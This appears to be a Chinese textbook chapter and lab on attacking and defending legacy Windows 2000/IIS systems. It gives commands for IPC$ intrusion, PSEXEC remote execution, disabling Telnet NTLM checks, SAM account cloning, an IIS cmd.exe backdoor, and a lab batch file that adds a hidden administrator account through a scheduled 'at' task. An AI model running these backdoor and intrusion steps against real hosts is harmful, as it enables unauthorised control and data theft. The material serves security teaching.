  • IIS漏洞:IIS是微软操作系统提供的Internet信息服务器。自IIS的诞生之日起,它的漏洞就没有间断过。X-Scan可以扫描出多种常见的IIS漏洞,如“.PRINTER漏洞”,“Unicode漏洞”等。
  • BIND漏洞:BIND(Berkeley Internet Name Domain)是通过软件来实现域名解析系统(Domain Name System)。与前面提到的一样,它在提供服务的同时也常常带有漏洞,BIND经常出现的是“缓冲区溢出”型漏洞,如bind 8.2.x版本中就存在这种溢出漏洞。入侵者们通过发送某些特定格式的数据包给有溢出漏洞的主机而非法使用它。

步骤3:设置并发扫描及端口相关设置。

  • 并发线程:值越大速度越快(建议为500)。
  • 并发主机:值越大扫描主机(越多建议为10)。
  • 建议跳过ping不通的主机。

步骤4:设置待检测端口,确定检测方式。

  • TCP详细但不安全。
  • SYN不一定详细但安全。

(2)流光Fluxay
流光是非常优秀的扫描工具,它是由国内高手小榕精心打造的综合扫描器。其功能非常强大,不仅能够像X-Scan那样扫描众多漏洞、弱口令,而且集成了常用的入侵工具,如字典工具、NT/IIS工具等,还独创了能够控制“肉鸡”进行扫描的“流光Sensor工具”和为“肉鸡”安装服务的“种植者”工具。
(3)X-Port
X-Port提供多线程方式扫描目标主机开发端口,扫描过程中根据TCP/IP堆栈特征被动识别操作系统类型,若没有匹配记录,尝试通过NetBIOS判断是否为Windows系列操作系统并尝试获取系统版本信息。
X-Port提供两种端口扫描方式:标准TCP连接扫描和SYN方式扫描。
(4)SuperScan
SuperScan是一个集“端口扫描”、“ping”、“主机名解析”于一体的扫描器。其功能如下。

  • 检测主机是否在线。
  • IP和主机名之间的相互转换。
  • 通过TCP连接试探目标主机运行的服务。
  • 扫描指定范围的主机端口。
  • 支持使用文件列表来指定扫描主机范围。

(5)其他端口扫描工具
PortScanner、NMAP、X-WAY。

2.3 网络攻击的实施阶段

2.3.1 基于认证的入侵及防范

当前的网络设备基本上都是依靠认证来实现身份识别与安全防范的。在众多认证方式中,基于“账号/密码”的认证最为常见,应用也最为广泛。针对该方式的入侵主要有IPC$、Telnet等。
1.IPC$入侵
IPC$是Windows系统特有的一项管理功能,是Microsoft公司为了方便用户使用计算机而设定的,主要用来远程管理计算机。但事实上使用这个功能最多的人不是网管,而是入侵者。他们通过建立IPC$连接与远程主机实现通信和控制。IPC(Internet Process Connection)可以理解为“命令管道资源”,这是Windows系统提供的一个通信基础,用来在两台计算机进程之间建立通信连接,而IPC后面的$表示它是隐藏的共享。通过这项功能,一些网络程序的数据交换可以建立在IPC上面,实现远程访问和管理计算机。通过IPC$连接,入侵者能够实现控制目标主机,因此,这种基于IPC的入侵也常常被简称为IPC入侵。通过IPC$连接的建立,入侵者能够做到以下两点。

  • 建立、复制、删除远程计算机文件。
  • 在远程计算机上执行命令。

IPC$为入侵者远程连接目标主机提供了可能。入侵者所使用的工具中有很多是基于IPC$来实现的。可见,IPC$在为管理员提供了方便的同时,也留下了严重的安全隐患。解决方案有以下3种。
① 删除默认共享。
② 禁止空连接进行枚举攻击。打开注册表编辑器,在HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\control\Lsa中把Restrict Anonymous=DWORD的键值改为00000001。修改完毕后重启计算机,这样便禁止了空连接进行枚举攻击。不过要说明的是,这种方法并不能禁止建立空连接。
③ 关闭Server服务。Server服务是IPC$和默认共享所依赖的服务,如果关闭Server服务,IPC$和默认共享便不存在,但同时服务器也丧失其他一些服务,因此该方法只适合个人计算机使用。可通过“控制面板”→“管理工具”→“服务”命令打开服务管理器,在服务管理器中找到Server服务,然后禁止。
2.Telnet入侵
Telnet用于提供远程登录服务,当终端用户登录到提供这种服务的主机时,就会得到一个shell(命令行),通过这个shell,终端用户便可以执行远程主机上的任何程序。同时,用户将作为这台主机的终端来使用该主机的CPU资源和内存资源,实现完全控制远程主机。Telnet登录控制是入侵者经常使用的方式。
3.远程命令执行及进程查杀
能够在远程主机上执行命令是入侵者的目标,能够在远程主机上执行任何命令也就是完全控制了远程主机。使用Telnet执行远程命令就是其中一种方法。
(1)工具PSEXEC
该工具为远程执行命令软件。在本地机上使用PSEXEC即可在远程主机上执行命令。
其使用方法如下。
PSEXEC \computer [-u user][-p password][-s][-i][-c][-f][-d] cmd [arguments]
各参数含义如下。
[-u] 登录远程主机的用户名。
[-p] 登录远程主机的密码。
[-i] 与远程主机交互执行。
[-c] 复制本地文件到远程主机系统并执行。
[-f] 复制本地文件到远程主机系统目录并执行,如果远程主机已经存在该文件,则覆盖。
[-d] 不等待程序结束。
通过PSEXEC实现与Telnet登录同样的功能。使用命令psexec \192.168.0.106 -u administrator -p “” cmd,如图2.11所示。

图像说明文字

还可以使用PSEXEC,将本地可执行程序复制到远程主机执行,如运行命令psexec \ 192.168.0.106 -u administrator -p “”-c calc.exe,如图2.12所示。

图像说明文字

(2)查杀进程
入侵者对远程主机的彻底控制,还包括远程查看、杀死远程主机的进程。使用PSEXEC和Aproman可以实现这一过程。其中,工具“PSEXEC”用来远程执行命令,工具“AproMan”用来查看进程、端口与进程的关联关系,并杀死指定进程,还可以把进程和模块列表导出到文本文件中。Aproman的使用方法如下。
AProMan.exe -a:查看进程。
Aproman.exe -p:显示端口进程关联关系(需要Administrator权限)。
Aproman.exe -t [PID]:杀掉指定进程号的进程。
Aproman.exe -f [FileName]:把进程及模块信息存入文件。
使用PSEXEC和Aproman查、杀进程实例。
步骤1:将Aproman.exe复制到本机磁盘。
步骤2:使用PSEXEC将Aproman.exe复制到目的主机并执行。
步骤3:通过指定进程号杀死远程主机的进程。使用命令psexec \192.168.0.106 -u administrator- p “” -d aproman -t 1280。
除了使用工具“PSEXEC”与“AproMan”来实现查杀进程外,还可以通过工具“pslist.exe”与“pskill.exe”。通过这两款工具实现查杀进程,并不用把任何程序复制到远程主机内部,pslist.exe和pskill.exe可在本地对远程主机的进程进行操作。 pslist.exe是命令行方式下远程查看进程的工具,其使用方法如下。

图像说明文字

各参数含义如下。
[-t] 显示线程。
[-m] 显示内存细节。
[-x] 显示进程、内存和线程。
name 列出指定用户的进程。
pid 显示指定PID的进程信息。
pskill.exe是命令行方式下远程杀进程的工具,其使用方法如下。

图像说明文字

4.远程管理计算机
如果入侵者能够与远程主机成功建立IPC$连接,那么该远程主机就完全落入了入侵者之手。此时,入侵者不使用入侵工具也可以实现远程管理Windows系统的计算机。
(1)打开“计算机管理”
方法1:通过“控制面板”→“管理工具”→“计算机管理”打开。
方法2:通过“运行”对话框输入“compmgmt.msc /s”命令打开。
方法3:右击“我的电脑”,在弹出的快捷菜单中选择“管理”选项。
(2)远程管理服务Telnet
Telnet用于提供远程登录服务,当终端用户登录到提供这种服务的主机时,就会得到一个shell(命令行),通过这个shell,终端用户便可以执行远程主机上的任何程序。同时,用户将作为这台主机的终端来使用该主机的CPU和资源,实现完全控制远程主机。Telnet登录控制是入侵者常常使用的方式。
Telnet命令:telnet IP [PORT]
其中,“IP”是开有Telnet服务主机的IP地址;“PORT”是Telnet的监听端口,默认是23,如果不填端口,则表示连接到23号端口。
开启远程计算机“计划任务”和“Telnet”服务的步骤如下。
步骤1:建立IPC$连接。
步骤2:管理远程计算机。
步骤3:选择“操作”→“连接到另一台计算机”。
步骤4:开启“计划任务”服务。
步骤5:开启Telnet服务。
步骤6:断开IPC$连接。
(3)开启远程主机服务的其他方法
如果入侵者能够使用管理员账号与远程主机建立IPC$连接,那就可以通过at命令在远程主机上开启telnet服务。
① 编写bat文件,输入“net start telnet”命令,然后另存为Tel.bat。“net stop”是关闭命令。
② 建立IPC$连接,把文件复制到远程主机。
③ 使用net time查看远程主机的时间,然后通过at命令建立计划任务。
(4)去掉NTLM验证的方法
由于Telnet功能太强大,而且也是入侵者使用最频繁的登录手段之一,因此微软为Telnet添加了身份认证,称为NTLM验证。它要求Telnet终端除了需要有Telnet服务主机的用户名和密码外,还需要满足NTLM验证。
方法1:
① 在本地计算机建立一个与远程主机相同的账号和密码,如图2.13所示。
② 通过“开始”→“程序”→“附件”找到“命令提示符”,然后右击“命令提示符”,在弹出的快捷菜单中选择“属性”选项。在“以其他用户身份运行”前面打钩,如图2.14所示。
③ 单击“确定”按钮,在MS-DOS界面中进行Telnet登录。
方法2:通过修改远程计算机Telnet服务设置去除NTLM验证。
① 首先建立telnet.txt文件,然后写入3,7,y,0,y,0,0。
② 建立批处理文件tel.bat,输入命令tlntadmn<telnet.txt。该命令是把telnet.txt中的内容导入tlntadmn.exe。
③ 建立IPC$连接,将telnet.txt和tel.bat复制到远程计算机,并通过at命令执行tel.bat,去除NTLM认证。

图像说明文字

2.3.2 基于IIS漏洞的入侵及防范

IIS被称为Internet信息服务器。它在Windows系统中提供Internet服务,作为Windows组件附加在Windows系统中。通过IIS,Windows系统的用户可以方便地提供Web服务、FTP服务、SMTP服务等。
IIS服务器在方便用户使用的同时,也带来了许多安全隐患。据说IIS的漏洞有千余种,能被用来入侵的漏洞大多数属于“溢出”型漏洞。对于这种漏洞,入侵者能够通过发送特定格式的数据来使远程服务器缓冲区溢出,从而突破系统的保护在溢出后的空间中执行任何命令。
IIS主要有以下5种漏洞:.ida&.idq漏洞、.Printer漏洞、Unicode漏洞、.asp映射分块编码漏洞和WebDAV漏洞。
只要IIS服务器存在其中的任意一种漏洞,都可导致入侵,入侵者在入侵远程IIS服务器之前,会使用很多手段来搜集一些关键信息,如利用专门的扫描器对远程的IIS服务器的信息进行搜集。
1..ida&.idq漏洞
其具体描述如表2.4所示。

图像说明文字

2..printer漏洞
其具体描述如表2.5所示。

图像说明文字

3.Unicode漏洞
其具体描述如表2.6所示。

图像说明文字

4..asp映射分块编码漏洞
其具体描述如表2.7所示。

图像说明文字

5.WebDAV远程缓冲区溢出漏洞
其具体描述如表2.8所示。

图像说明文字

2.3.3 基于电子邮件服务的攻击及防范

电子邮件是当今世界上使用最频繁的商务通信工具,据可靠统计显示,在2010年全球总共有18.8亿个电子邮件用户,几乎相当于每个互联网用户都至少有一个电子邮箱,全球用户总共发送107万亿封邮件,这相当于平均每天有2940亿封邮件被发送。电子邮件的持续升温,使之成为那些企图进行破坏的人所日益关注的目标。如今,黑客和病毒撰写者不断开发新的和有创造性的方法,以期战胜安全系统中的改进措施。
典型的互联网通信协议TCP和UDP,其开放性常常引来黑客的攻击。而IP地址的脆弱性,也给黑客的伪造提供了可能,从而泄露远程服务器的资源信息。很多电子邮件网关,如果电子邮件地址不存在,系统则回复发件人,并通知他们这些电子邮件地址无效。黑客利用电子邮件系统的这种内在“礼貌性”来访问有效地址,并添加到其合法地址数据库中。
防火墙只控制基于网络的连接,通常不对通过标准电子邮件端口(25端口)的通信进行详细审查。一旦企业选择了某一邮件服务器,它基本上就会一直使用该品牌,因为主要的服务器平台之间不具互操作性。下面介绍一些我们经常遇到的漏洞。
(1)IMAP和POP漏洞
密码脆弱是这些协议的常见弱点。各种IMAP和POP服务容易受到如缓冲区溢出等类型的攻击。
(2)拒绝服务(DoS)攻击
① 死亡之ping:发送一个无效数据片段,该片段始于包结尾之前,止于包结尾之后。
② 同步攻击:极快地发送TCP SYN包(它会启动连接),使受攻击的机器耗尽系统资源,进而中断合法连接。
③ 循环:发送一个带有完全相同的源/目的地址/端口的伪造SYN包,使系统陷入一个试图完成TCP连接的无限循环中。
(3)系统配置漏洞
企业系统配置中的漏洞可以分为以下几类。
① 默认配置:大多数系统在交付给客户时都设置了易于使用的默认配置,使黑客盗用变得轻松。
② 漏洞的创建:几乎所有程序都可以配置为在不安全模式下运行,这会在系统上留下不必要的漏洞。
(4)利用软件问题
在服务器守护程序、客户端应用程序、操作系统和网络堆栈中,存在很多的软件错误,分为以下几类。
① 缓冲区溢出:程序员会留出一定数目的字符空间来容纳登录用户名,黑客则会通过发送比指定字符串长的字符串,其中包括服务器要执行的代码,使之发生数据溢出,造成系统入侵。
② 意外组合:通常是用很多层代码构造而成的,入侵者可能会经常发送一些对于某一层毫无意义、但经过适当构造后对其他层有意义的输入。
③ 未处理的输入:大多数程序员忽略了输入不符合规范的信息时会发生什么后果。
(5)利用人为因素
攻击者使用高级手段使用户打开电子邮件附件,如双扩展名、密码保护的Zip文件、文本欺骗等。
(6)特洛伊木马及病毒传播
结合特洛伊木马和传统病毒的混合攻击正日益猖獗。攻击者所使用的特洛伊木马的常见类型有以下几种。
① 远程访问:过去,特洛伊木马只会侦听对黑客可用的端口上的连接。而现在,特洛伊木马则会通知黑客,使黑客能够访问防火墙后的机器。有些特洛伊木马可以通过IRC命令进行通信,这表示从不建立真实的TCP/IP连接。
② 数据发送:将信息发送给黑客,方法包括记录按键、搜索密码文件和其他秘密信息。
③ 破坏:破坏和删除文件。
④ 拒绝服务:远程黑客能够使用多个僵尸计算机启动分布式拒绝服务(DDoS)攻击。
⑤ 代理:旨在将受害者的计算机变为对黑客可用的代理服务器,使匿名的Telnet、ICQ、IRC等系统用户可以使用窃得的信用卡购物,并在被追踪返回到受感染的计算机时能够完全隐匿其名。
由于企业日益依赖于电子邮件系统,它们必须解决电子邮件传播的攻击和易受攻击的电子邮件系统所受的攻击这两种攻击的问题。解决方法有以下3种。
① 在电子邮件系统周围锁定电子邮件系统。电子邮件系统周边控制开始于电子邮件网关的部署。电子邮件网关应根据特定目的与加固的操作系统和防止网关受到威胁的入侵检测功能一起构建。
② 确保外部系统访问的安全性。电子邮件安全网关必须负责处理来自所有外部系统的通信,并确保通过的信息流量是合法的。通过确保外部访问的安全,可以防止入侵者利用Web邮件等应用程序访问内部系统。
③ 实时监视电子邮件流量。实时监视电子邮件流量对于防止黑客利用电子邮件访问内部系统是至关重要的。检测电子邮件中的攻击和漏洞攻击(如畸形MIME)需要持续监视所有的电子邮件。
在上述安全保障的基础上,电子邮件安全网关应简化管理员的工作,能够轻松集成,并被使用者轻松配置。

2.3.4 注册表的入侵及防范

1.注册表相关知识
从Windows 95开始,Microsoft在Windows中引入了注册表(Registry),用于代替原来Win32系统里.ini文件。注册表是Windows用来管理配置系统运行参数的一个核心数据库。在这个数据库里整合集成了全部系统和应用程序的初始化信息,其中包含了硬件设备的说明、相互关联的应用程序与文档文件、窗口显示方式、网络连接参数,甚至有关系到计算机安全的网络共享设置。它与老的Win32系统里的.ini文件相比,具有方便管理、安全性较高、适于网络操作等特点。如果注册表受到了破坏,轻者使Windows的启动过程出现异常,重者可能会导致整个Windows系统的完全瘫痪。用户通过注册表可以轻易地添加、删除、修改系统内的软件配置信息或硬件驱动程序,大大方便了用户对软硬件的工作状态进行调整。与此同时,入侵者也经常通过注册表来种植木马、修改软件信息,甚至删除、停用或改变硬件的工作状态。
首先了解一下注册表的基本知识。在“运行”对话框中输入“regedit”,然后单击“确定”按钮,就可以运行注册表编辑器。在注册表中,所有的数据都是通过一种树状分层结构来组织的,由子树、键、子键和键值组成,十分类似于目录结构,如图2.15所示。表2.9、表2.10所示为注册表的基本知识。

图像说明文字

图像说明文字

由于入侵者可以通过注册表来种植木马、修改软件信息,甚至删除、停用或改变硬件的工作状态,因此对注册表的防护就显得尤其重要。可以通过以下两种方法增强注册表的安全性。
(1)禁止使用注册表编辑器 入侵者通常是通过远程登录“注册表编辑器”修改注册表的,可以通过修改注册表设置禁止注册表编辑器。打开“注册表编辑器”窗口,从左侧栏中依次展开“HKEYCURRENT
USER\Software\Microsoft\Windows\CurrentVersion\Policies\System”子项,在右栏中找到或新建一个DWORD值类型的名为“Disableregistrytools”的项,将其值改为1。关闭注册表,再次打开注册表编辑器时,将会弹出禁止修改的提示框。
然而,禁止别人使用注册表编辑器的同时,自己也没法使用了,可以通过以下方法恢复禁用的注册表编辑器。
方法1:打开一个“记事本”文件,如果计算机的操作系统是Windows 2000/XP,在其中输入以下内容:

图像说明文字

如果操作系统是Windows 98或Windows 95,则输入如下内容:

图像说明文字

将文件保存为名为“Unlock.reg”的注册表文件。双击运行该文件,即可将该文件导入注册表中,然后使用常规打开注册表编辑器的方法就可以重新打开注册表编辑器了。
方法2:在Windows 2000/XP/2003系统中,从“开始”菜单中选择“运行”,在打开的“运行”对话框中输入“gpedit.msc”,单击“确定”按钮,即可打开“组策略”编辑器窗口(见图2.16)。从左侧栏中依次选择“用户配置”→“管理模板”→“系统”选项,在右侧栏中双击“阻止访问注册表编辑工具”,可以打开“阻止访问注册表编辑工具属性”对话框,选择“已禁用”单选项,单击“确定”按钮,即可恢复禁用的注册表编辑器,如图2.17所示。

图像说明文字

(2)删除“远程注册表服务”
入侵者远程入侵注册表需要先启用“远程注册表服务”(Remote Registry Service),因此为了阻止黑客的入侵,可以将该服务删除。方法是找到注册表中HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Services下的RemoteRegistry项,在其上单击鼠标右键,选择“删除”选项,将该项删除后就无法启动该服务了,即使我们通过“控制面板”→“管理工具”→“服务”进行启动也会出现相应的错误提示,根本无法启动该服务。
需要注意的是,对于注册表的修改一定要谨慎,因此在修改前,一定要将该项信息导出并保存,以后再想使用该服务时只需要将已经保存的注册表文件导入即可。另外,如果觉得将服务删除不安全的话还可以将其改名,也可以起到一定的防护作用。
2.入侵远程主机的注册表
(1)开启远程主机的“远程注册表服务”
入侵者一般都通过远程进入目标主机注册表,因此,如果要连接远程目标主机的“网络注册表”实现注册表入侵的话,除了能成功地建立IPC$连接外,还需要远程目标主机已经开启了“远程注册表服务”,如图2.18所示。

图像说明文字

开启远程主机服务的过程如下。
① 建立IPC$连接。
② 打开“计算机管理”,使用“计算机管理”管理远程计算机。
③ 开启远程注册表服务。
④ 关闭“计算机管理”,断开IPC$连接。
(2)连接远程主机的注册表
入侵者可以通过Windows自带的工具连接远程主机的注册表并进行修改。具体步骤如下。
① 执行regedit来打开注册表编辑器。
打开“运行”对话框,输入“regedit”命令,如图2.19所示。

图像说明文字

② 建立IPC$连接。
③ 连接远程主机注册表。在注册表编辑器界面中,选择“注册表”→”连接网络注册表”,然后在弹出的对话框内输入远程主机的IP地址,最后单击“确定”按钮。连接网络注册表成功后,入侵者可以通过该工具在本地修改远程注册表。这种方式得到的网络注册表只有3个根项。
④ 断开网络注册表。当修改完远程主机的注册表后,需要断开网络注册表。鼠标右键单击远程主机的IP地址处,在弹出的快捷菜单中选择“断开”选项。
3.使用reg文件修改注册表
入侵者除了使用网络注册表连接远程主机的注册表外,还可以通过手工导入reg文件的方法来修改远程主机的注册表,只要拥有权限,便可以通过这种方式修改注册表任意一项。
(1)reg文件的使用
reg文件是Windows系统中的一种特定格式的文本文件,它是方便用户或安装程序在注册表中添加信息而设计的。它有自己固定的格式,扩展名为reg。
① 添加主键的方法。
步骤1:打开记事本,然后编辑添加主键,在记事本中输入:

图像说明文字

步骤2:保存文件为test1.reg,双击该文件,便建立了HACK主键,如图2.20所示。
② 添加键值项方法。为HACK主键建立一个名字为“NAME”,类型为“DWORD”,值为“00000000”的键值项。

图像说明文字

在记事本中输入:

图像说明文字

保存为TEST2.REG文件,然后双击导入,如图2.21所示。

图像说明文字

③ 删除键值项的方法。
在记事本中输入:

图像说明文字

然后保存为TEST3.REG文件,双击导入注册表,就可以删除键值项。
④ 删除主键。
在记事本中输入:

图像说明文字

保存为TEST4.REG文件,双击导入注册表,就可以删除主键。
(2)命令行导入
通过双击注册表文件把注册信息导入,每次导入都会有提示对话框,如图2.22所示,容易被远程主机管理员发现。
通过以下两种方法把注册表信息通过无询问式地导入注册表。
方法1:使用专门的注册表导入工具。
方法2:使用Windows系统自带的导入工具。
Windows自带的导入工具使用命令:

图像说明文字

regedit是系统自带的命令,不使用任何工具。/s表示不需要询问,直接导入。
(3)远程关机
修改完注册表后,只有远程主机重新启动后才能使修改生效。通过以下两种方法来关闭远程主机。
① 远程关机方法一。

  • 打开计算机管理(本地)。
  • 在控制台树中,右键单击“计算机管理”,然后在弹出的快捷菜单中选择“连接到另一台计算机”选项。
  • 在“选择计算机”对话框的“名称”框下,选择要重新启动或关闭的计算机,然后单击“确定”按钮。
  • 右键单击远程计算机,然后在弹出的快捷菜单中选择“属性”选项。
  • 在“高级”选项卡上,单击“启动和故障恢复”中的“设置”按钮。
  • 单击“关闭”按钮,打开“关闭”对话框。
  • 在“操作”栏中,选择要在连接的计算机上执行的操作。
  • 在“强制应用程序关闭”栏中,选择关闭或重新启动计算机时是否强制关闭程序,然后单击“确定”按钮。

② 远程关机方法二。
使用Windows 2003/XP中的shutdown命令远程关机。对于没有该命令的系统(如Windows 2000),可以将shutdown.exe工具复制到Windows 2000的系统文件夹中,就可以使用了。
shutdown经常使用的参数如下。
s:关闭计算机。
r:重新启动计算机。
m \ip:指定被操作的远程计算机。
t xx:指定多少时间后关闭或者重新启动计算机。
使用shutdown关闭远程计算机,必须先建立IPC$连接,然后输入命令进行关机。例如,shutdown -s -m \192.168.0.10 -t 00实现远程关闭。

2.3.5 安全解决方案

在对网络攻击进行上述分析与识别的基础上,还应当认真制定有针对性的策略,明确安全对象,设置强有力的安全保障体系,有的放矢,在网络中层层设防,发挥网络的每层作用,使每一层都成为一道关卡,从而让攻击者无隙可钻、无计可施。还必须做到未雨稠缪,预防为主,将重要的数据备份并时刻注意系统运行状况。下面列出几条安全解决方案以供参考。
① 加强个人网络安全保护意识。

  • 不要随意打开来历不明的电子邮件及文件,如“特洛伊”类木马就需要欺骗运行。
  • 尽量避免从Internet下载不知名的软件、游戏程序。即使从知名的网站上下载的软件也要及时用最新的病毒和木马查杀软件对软件和系统进行扫描。
  • 密码设置尽可能使用字母数字混排,单纯的英文或者数字很容易穷举。将常用的密码设置成不同的,防止被人查出一个,连带到重要密码。重要密码最好经常更换。
  • 及时下载安装系统补丁程序。
  • 不随便尝试运行黑客程序,不少这类程序本身就自带木马和设置后门的功能。

②删除默认的共享,尽量不要开放共享资源,资源迫不得已可以将访问者的权限降至最低。
③ 禁止空连接进行枚举攻击。
④ 使用正版防火墙软件和杀毒工具,及时升级。
⑤ 设置代理服务器,隐藏自已的IP地址。
⑥ 将防毒、防黑当成日常性工作,定时更新防毒组件,将防毒软件保持在常驻状态,以彻底防毒。
⑦ 对于重要的个人资料做好严密的保护,并养成资料备份的习惯。

2.4 网络攻击的善后阶段

2.4.1 隐藏技术

当非法用户尝试对网络进行破坏前,首先探测和分析网络的基本信息、状态以及结构。为了在这些探测和分析中隐藏自己的行踪,主要采取以下几种方法。
1.文件传输与文件隐藏技术
所谓“隐藏入侵”,是指入侵者利用其他计算机代替自己执行扫描、漏洞溢出、连接建立、远程控制等操作。入侵者们把这种代替他们完成入侵任务的计算机称为“肉鸡”。在隐藏技术中必然涉及入侵者将文件传输到“肉鸡”中并隐藏的问题。
(1)几种文件传输方式

  • IPC$文件传输:使用命令行或映射网络驱动器方式。
  • FTP传输。
  • 打包传输:将大量的文件进行压缩后再传送。

(2)文件隐藏

  • 简单隐藏:利用attrib命令为文件添加“隐藏”和“系统”属性。
  • 利用专用文件夹隐藏:利用隐藏工具SFind.exe将文件隐藏到系统专用文件夹。

2.扫描隐藏技术
入侵者通过制作“扫描代理肉鸡”的方法来隐藏自己的扫描行为。手工制作扫描代理是入侵者们制作扫描型“肉鸡”的通用方法,其思路是把扫描器传输到“肉鸡”内部,然后入侵者通过远程控制使该“肉鸡”执行扫描程序。入侵者通过这种方法能够实现“多跳”扫描。
3.入侵隐藏技术
在入侵中,入侵者一般利用跳板技术实现隐藏。这里指的跳板可称为“入侵代理”或“入侵型肉鸡”,它存在于入侵者与远程主机/服务器之间,用来代替入侵者与远程主机/服务器建立网络连接或者漏洞溢出。这种间接的连接方式可以避免与远程主机/服务器的直接接触,从而实现入侵中的隐藏。
如图2.23所示,入侵者通过跳板一、跳板二与远程主机/服务器建立连接,可以看出,在该攻击模型中,与远程主机/服务器直接接触的只有“跳板二”主机,因此,即使入侵行为被远程主机/服务器发觉,也能够直接查出只是“跳板二”主机,入侵者主机没有直接暴露给远程主机/服务器,实现了入侵中的隐身。

图像说明文字

2.4.2 留后门

从入侵者角度来看,后门分为账号后门、漏洞后门和木马后门。
1.账号后门
账号永远是系统敞开的大门。入侵者为了能够永久控制远程主机/服务器,他们会在第一次入侵成功后便马上在远程主机/服务器内部建立一个备用的管理员账号,这种账号就是“后门账号”。入侵者常用的留账号后门的方法是克隆账号。
克隆账号是通过修改注册表的SAM来实现的。SAM(Security Account Manager)是专门用来管理Windows系统中账号的数据库,里面存放了一个账号所有的属性,包括账号的配置文件路径、账号权限、账号密码等。
要修改SAM,经常需要使用工具PSU.exe,使用方式是:psu [参数选项]

  • p <要运行的文件名>。
  • i <要su到的进程号>默认su到的进程为system。

(1)克隆账号的步骤
步骤1:打开注册表编辑器,可以看到SAM一般是无法进行修改的。如果想修改,必须提升权限,如图2.24所示。
步骤2:通过进程管理器查看System进程,并记录该进程PID,Windows 2000一般为8,如图2.25所示。

图像说明文字

步骤3:使用psu.exe提升权限,如图2.26所示。
步骤4:查看SAM中的账号信息,其中Users\Names下有所有账号列表,在User键下,以十六进制数字为名的键记录着账号的权限、密码等配置。
步骤5:克隆账号,就是把Guest账号的权限克隆为管理员权限。
步骤6:禁用Guest账号,如图2.27所示。

图像说明文字

步骤7:查看Guest账号。
使用的命令如下。

图像说明文字

步骤8:使用Guest账号进行IPC$连接,测试账号是否可用。如图2.28所示,虽然在步骤6中禁用了Guest账号,我们仍然可以使用该账号。

图像说明文字

(2)命令行方式克隆账号
① 使用命令行方式克隆账号需要以下工具。

  • reg.exe:命令行下的注册表编辑工具。
  • psu.exe:权限提升工具。
  • pslist.exe:查看远程主机进程。

② 命令行方式克隆账号的步骤如下。
步骤1:编写BAT文件backdoor.bat。

图像说明文字

步骤2:使用pslist.exe查看远程主机的System进程PID,使用命令为“pslist \ip -u用户名-p密码”。
步骤3:上传backdoor.bat,运行批处理进行账号克隆。
步骤4:建立IPC$连接进行验证,退出。
2.漏洞后门
通过前面介绍的服务器IIS上的Unicode、.ida&.idq等漏洞,入侵者能够毫不费力地远程控制服务器的操作系统。实际上,入侵者不仅能够通过漏洞实现最初的入侵,还能够通过制造漏洞来留下系统的后门。
(1)制造Unicode漏洞
步骤1:找出Web根目录。
步骤2:复制cmd.exe到IIS目录中,一般可放在IIS的Scripts文件夹中。
步骤3:使用文件隐藏方法隐藏文件。
步骤4:验证Unicode后门。
(2)制造.idq漏洞
步骤1:把idq.dll传入远程服务器的Scripts目录中。
步骤2:隐藏后门文件。
步骤3:利用.idq或.ida漏洞进行入侵。
3.木马后门
木马具有体积小、功能强的特点,有一些木马相当于一个嵌入在Windows系统内部的微型系统,通过与木马的连接,入侵者可以不经过任何认证而直接控制Windows系统,从而实现远程控制。实际上,入侵者除了使用木马进行入侵外,还经常使用木马制作系统后门。
常见的木马后门程序有Wollf、Winshell、WinEggDrop、SQL后门。

实训1 网络的常用攻击方法

【实训目的】

  • 掌握各种网络攻击的常用方法。

【实训需求】 ● 计算机一台,并安装Windows 2000操作系统虚拟机。

【实训步骤】
1.扫描入侵
(1)获取局域网内主机192.168.4.100的资源信息
① ping –a 192.168.4.100 –t获取主机名。
② netstat –a 192.168.4.100获取所在域及相关信息。
③ net view 192.168.4.100获取共享资源。
④ nbtstat–a 192.168.4.100获取所在域及相关信息。
(2)使用X-SCAN扫描局域网内主机192.168.4.100
X-SCAN主界面如图2.29所示。

图像说明文字

① 设置扫描地址范围。X-SCAN扫描范围的设置如图2.30所示。

图像说明文字

② 在扫描模块中设置要扫描的项目,如图2.31所示。

图像说明文字

③ 设置并发扫描参数,如图2.32所示。

图像说明文字

④ 在扫描中跳过没有响应的主机,如图2.33所示。

图像说明文字

⑤ 设置要检测的端口及检测方式,如图2.34所示。

图像说明文字

⑥ 开始扫描,查看扫描报告。
2.主机入侵
(1)IPC$连接的建立与断开
通过IPC$连接远程目标主机的条件是已获得目标主机管理员账号和密码。
① 执行“开始”→“运行”命令,在“运行”对话框中输入“cmd”。
② 建立IPC$连接,假设192.168.21.21这台计算机“administrator”用户的密码为“qqqqqq”,则输入命令:

图像说明文字

③ 映射网络驱动器,使用命令:

图像说明文字

④ 映射成功后,打开“我的电脑”,会发现多了一个Z盘,该磁盘即为目标主机的C盘。

图像说明文字

⑤ 查找指定文件,用鼠标右键单击Z盘,在弹出的快捷菜单中选择“搜索”选项,查找关键字“账目”,结果如图2.37所示。将该文件夹复制、粘贴到本地磁盘,其操作就像对本地磁盘进行操作一样。

图像说明文字

⑥ 断开连接,输入“net use */del”命令断开所有的IPC$连接,如图2.38所示。

图像说明文字

⑦ 通过命令:“net use \目标IP\ipc$\del”可以删除指定目标IP的IPC$连接。
(2)建立后门账号
① 编写BAT文件。打开记事本,输入“net user sysback 123456/add”和“net localgroup administrators sysback/add”命令,编写完后,另存为“hack.bat”,如图2.39所示。

图像说明文字

② 与目标主机建立IPC$连接。
③ 复制文件到目标主机。打开MS-DOS,输入“copy hack.bat \192.168.21.21\d$”命令。COPY命令执行成功后,就已经把E盘下的hack.bat文件复制到192.168.21.21的D盘内,如图2.40所示。

图像说明文字

④ 通过计划任务使远程主机执行hack.bat文件,输入“net time \192.168.21.21”命令,查看目标系统时间,如图2.41所示。

图像说明文字

⑤ 如果目标系统的时间为23:22,则可输入“at \192.168.21.21 23:30 d:\hack.bat”命令,计划任务添加完毕后,使用命令“net use */del”断开IPC$连接。
⑥ 验证账号是否成功建立。等一段时间后,估计远程主机已经执行了hack.bat文件。通过建立IPC$连接来验证是否成功建立“sysback”账号。若连接成功,说明管理员账号“sysback” 已经成功建立连接。
(3)Telnet入侵实例
① 打开计算机管理,如图2.42所示,建立IPC$连接。
② 连接远程计算机。
③ 选择操作——连接到另一台计算机,如图2.43所示。

图像说明文字

④ 开启“计划任务”服务,如图2.44所示。

图像说明文字

⑤ 开启Telnet服务,如图2.45所示。

图像说明文字

⑥ 查看计算机管理中的信息,如图2.46所示。

图像说明文字

⑦ 去掉NTML验证。
[方法1]

  • 在本地计算机建立一个与远程主机相同的账号和密码。
